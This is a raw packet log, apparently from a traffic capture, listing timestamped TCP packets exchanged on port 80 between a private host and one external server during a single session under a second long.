Dec 23, 2024 08:15:48.069365978 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.069442987 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.069467068 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.069483042 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.069565058 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.070233107 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.070327044 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.070342064 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.070369959 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.071142912 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.071202993 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.071204901 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.071219921 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.071269035 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.072010040 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.072088003 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.072102070 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.072139025 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.072942972 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.072968006 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.072983980 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.073004007 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.073028088 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.073807955 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.073879957 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.073894978 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.073935032 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.074754000 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.074805975 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.074806929 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.074821949 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.074868917 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.075651884 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.075704098 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.075720072 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.075786114 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.076543093 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.076577902 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.076595068 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.076668024 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.076668024 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.077399969 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.077536106 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.077552080 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.077589035 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.078301907 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.078370094 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.078387022 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.078449965 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.078449965 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.079210043 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.079283953 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.079299927 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.079330921 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.080101967 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.080188036 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.080205917 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.080267906 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.080267906 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.081008911 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.081310987 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.081372976 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.081382036 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.081389904 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.081433058 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.082207918 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.082287073 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.082304001 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.082355976 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.083059072 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.084060907 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.150197029 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.150232077 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.150247097 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.150305986 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.150640011 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.150722027 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.150737047 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.150788069 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.150913954 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.151532888 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.151618958 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.151634932 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.151686907 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.152429104 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.152535915 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.152550936 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.152584076 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.152710915 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.153322935 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.153403997 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.153419018 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.153462887 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.154233932 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.154300928 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.154325008 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.154355049 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.154387951 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.155129910 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.155224085 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.155239105 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.155283928 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.156049013 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.156092882 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.156107903 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.156167984 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.156167984 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.156924009 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.157006979 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.157021999 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.157052040 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.157807112 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.157886982 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.157901049 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.157931089 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.157982111 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.158727884 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.158802986 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.158818960 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.158858061 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.159662962 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.159691095 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.159704924 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.159742117 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.159771919 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.160567999 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.160665989 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.160681963 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.160713911 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.161411047 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.161482096 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.161495924 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.161523104 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.161560059 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.162316084 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.162393093 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.162406921 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.162446022 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.163244009 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.163341999 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.163357973 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.163388014 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.163409948 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.164129972 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.164180040 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.164194107 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.164238930 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.165029049 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.165100098 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.165115118 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.165148973 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.165270090 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.165921926 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.166002035 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.166016102 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.166048050 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.166517019 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.166585922 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.166599989 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.166639090 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.166667938 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.166718006 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.167331934 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.167380095 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.167386055 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.167393923 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.167526960 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.167529106 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.168112993 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.168184042 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.168198109 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.168257952 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.168257952 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.168339014 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.168924093 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.168997049 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.169012070 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.169050932 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.169050932 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.169112921 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.169724941 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.169783115 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.169790030 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.169799089 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.169847012 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.169922113 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.170494080 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.170548916 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.170557022 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.170572996 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.170636892 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.170698881 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.171344042 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.171416998 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.171432972 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.171493053 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.171493053 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.171560049 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.172135115 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.172183990 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.172199965 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.172255039 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.172255039 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.172312021 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.172905922 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.172955990 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.172962904 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.172977924 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.173018932 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.173101902 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.173758984 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.173835039 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.173850060 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.173888922 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.173888922 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.173958063 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.174491882 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.174547911 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.174562931 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.174593925 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.174664021 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.174670935 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.175276041 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.175326109 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.175348043 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.175362110 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.175441980 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.175494909 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.176090002 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.176150084 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.176193953 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.342441082 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.342521906 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.342533112 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.342597008 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.342613935 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.342634916 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.342634916 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.342719078 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.342772007 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.343301058 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.343395948 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.343556881 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.343586922 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.343662977 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.343676090 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.343739033 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.343776941 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.343836069 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.344394922 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.344469070 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.344480991 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.344594002 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.344621897 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.344672918 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.345139980 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.345222950 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.345237017 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.345333099 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.345352888 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.345391035 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.345928907 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.346026897 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.346039057 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.346076012 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.346170902 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.346745968 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.346800089 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.346806049 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.346817970 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.346853018 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.346952915 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.347503901 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.347609043 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.347610950 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.347623110 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.347657919 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.347771883 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.348050117 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.348335981 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.348413944 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.348424911 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.348459005 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.348562956 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.349117994 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.349159956 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.349170923 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.349183083 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.349219084 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.349370003 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.349924088 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.349963903 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.349989891 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.350002050 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.350048065 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.350193977 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.350457907 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.350713968 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.350800991 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.350812912 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.350867987 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.350938082 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.351028919 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.351501942 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.351562977 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.351576090 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.351599932 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.351741076 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.351783991 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.352307081 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.352349997 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.352361917 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.352430105 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.352546930 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.352634907 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.353060961 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.353144884 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.353208065 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.353229046 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.353276968 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.353276968 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.353864908 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.353934050 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.353945017 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.354048014 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.354074001 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.354183912 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.354665995 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.354759932 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.354774952 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.354824066 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.354882002 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.354969025 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.355479002 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.355499983 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.355510950 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.355530024 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.355668068 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.356076002 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.356249094 CET	80	49763	185.215.113.16	192.168.2.10
